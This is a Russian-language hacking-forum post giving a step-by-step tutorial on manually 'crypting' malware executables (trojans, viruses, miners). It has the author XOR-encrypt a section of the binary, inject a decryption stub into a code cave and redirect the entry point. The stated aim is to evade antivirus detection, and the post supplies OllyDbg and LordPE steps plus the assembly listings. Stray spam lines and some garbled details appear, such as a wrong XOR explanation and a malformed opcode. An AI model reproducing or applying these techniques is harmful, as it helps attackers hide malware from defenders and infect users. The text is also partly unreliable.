Крипт + Инжект

1xbet melbet

Mong4r

Дизайнер
Сообщения
173
Реакции
212
Упаковка екзешников вручную - важная процедура, которая может быть выполнена вполне элементарно..
Существует много причин для шифрования файлов, например защита программ от изменений, взлома и т.д. Некоторые хуцкеры используют это для криптования вириев и троев, для внедрения вредоносного кода в готовые .exe, короче максимально завуалировать свои вредоносные программы, скрипты, коды.

Еще одно достоинство ручного шифрования-это обход антивирусов или вовсе превращение вредоносного кода в код подписанный, заверенный антивирусом.

Для начала, точка входа (.text, .date, .rsrc) требует шифрования.
Но если местоположение сигнатуры вируса известно, требуется зашифровать только вредоносную секцию кода программы, определенные байты.
Небольшую XOR функцию необходимо закодировать( перенести в код заражаемой программы ), для того чтобы ее можно было шифровать и сохранить в файл.


После того, как файл был шифрован, его требуется запустить, и XOR-функция запустится вместе с файлом. Во время запуска программы, шифрованный вредоносный код дешифруется и запускается внутри памяти зараженной программы. Следовательно, Для антивируса запускается не два файла(неопасный EXE и вредоносный код), а один, безопасный файл, никак не определяемый антивирусом.
Что такое XOR функция?
XOR, так же известное как Exclusive OR, это побитовый оператор двоичной математики. Оператор XOR возвращает 1 когда значение первого или второго битов равно 1. Так же, оператор XOR возвращает 0, когда ни одного или оба одновременно значения 1-го и 2-го битов равны 1.
Разъяснить можно этой диаграммой:
Код:
Код:
1.bit 2.bit Result
F F F
F T T
T F T
T T F

Оператор XOR используется для сдвига, замены (нулей и единиц) в куске нешифрованого кода для создание шифрованного текста.
Другими словами, если кусок кода прогнать через XOR дважды, то изменений от исходника не будет, т.е. после шифрования XOR'ом уже зашифрованного XOR'ом кода - код дешифруется до первоначального состояния.

Код:
Код:
Entry Point <---
jump to encrypt/cave code

Code Cave <---
XOR function encrypt/decrypt

End Cave <---
Заменяем точку входа процессом шифрования, внедряем процесс шифрования в стек, затем возвращаем замещенный кусок исходной программы(точку входа в частности), возвращаем изначальный код заражаемой программы, после исполнения вредоносного кода.

Шифрующий код должен запуститься одновременно с чистым кодом заражаемой программы, что бы в зашифрованном виде сохраниться в файл (промокодовых акций).
Следующий раз зараженная прога при запуске расшифрует этот код.

Что потребуется:


  • зараженный exe (Трой, вирус, майнер...)
  • Ollydbg
  • LordPE

И так приступим.
Откройте зараженный файл Ollydbg и скопируйте первые несколько команд ( на все изменения делать бэкапы в блокнотике) Вставьте эти строчки в текстовый редактор.

Код:
Код:
-=:Entry Code:=-

00401219 >/$ 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
0040121F |. 55 PUSH EBP
00401220 |. 89E5 MOV EBP,ESP
00401222 |. 6A FF PUSH -1

Теперь в конце файла ищите DB 00 в стеке. Если эта секция не защищена от записи, то все хорошо, не придется менять допуски к секции.

Код:
Код:
-=:Cave Code:=-

0040E4FD 0000 ADD BYTE PTR DS:[EAX],AL
0040E4FF 0000 ADD BYTE PTR DS:[EAX],AL
0040E501 0000 ADD BYTE PTR DS:[EAX],AL
0040E503 0000 ADD BYTE PTR DS:[EAX],AL

Если появилась ошибка-значит эта секция защищена и придется модифицировать PE секцию, чтобы получить доступ к редактированию.

Это можно легко сделать с помощью LordPE (меняет свойства секций)

Открываем LordPE, загружаем наш файл, тыкаем кнопку Section. После этого правой кнопкой data section, выбираем свойства. Убираем\ставим галочки-в общем делаем файл доступным к изменению и запуску (writeable and executable). Этот файл готов.

Следующий алгоритм используется для XOR-шифрования секции. Вообще это банальное шифрование каждого байта из data section (@0040129c) с нашим ключом (0f). Цикл остановится в конце data section (@0040E46C)

Код:
Код:
Encryption Routine
mov eax,0040129c
xor byte [eax],0f
inc eax
cmp eax,0040E46C
jle [xor address]

Deleted Call
00401219 >/$ 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
0040121F |. 55 PUSH EBP

Jump back to application flow
00401219 > E9 E2D20000 JMP finish1t.0040E500
0040121E 90 NOP

В конце код должен выглядеть примерно так:

Код:
Код:
XOR Loop + Deleted Call + Jump back to application flow.

Code Cave:
0040E500 B8 9C124000 MOV EAX,finish1t.0040129C ; Entry address
0040E505 8030 0F XOR BYTE PTR DS:[EAX],0F
0040E508 0 INC EAX
0040E509 3D 6CE44000 CMP EAX,<JMP.&CRTDLL.wctomb>; Entry address
0040E50E 7E F5 JLE SHORT finish1t.0040E505
0040E510 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
0040E516 E9 042DFFFF JMP finish1t.0040121F

Теперь делаем "break point" в конце цикла, строчка 0040e510, и выполняем код. Как только выполнение остановилось, сохраняем файл и выходим из OllyDbg
Код:
Код:
00401219 >/$ 64:A1 00000000 JMP finish1t. 0040E500
 
kaspersky keys
Верх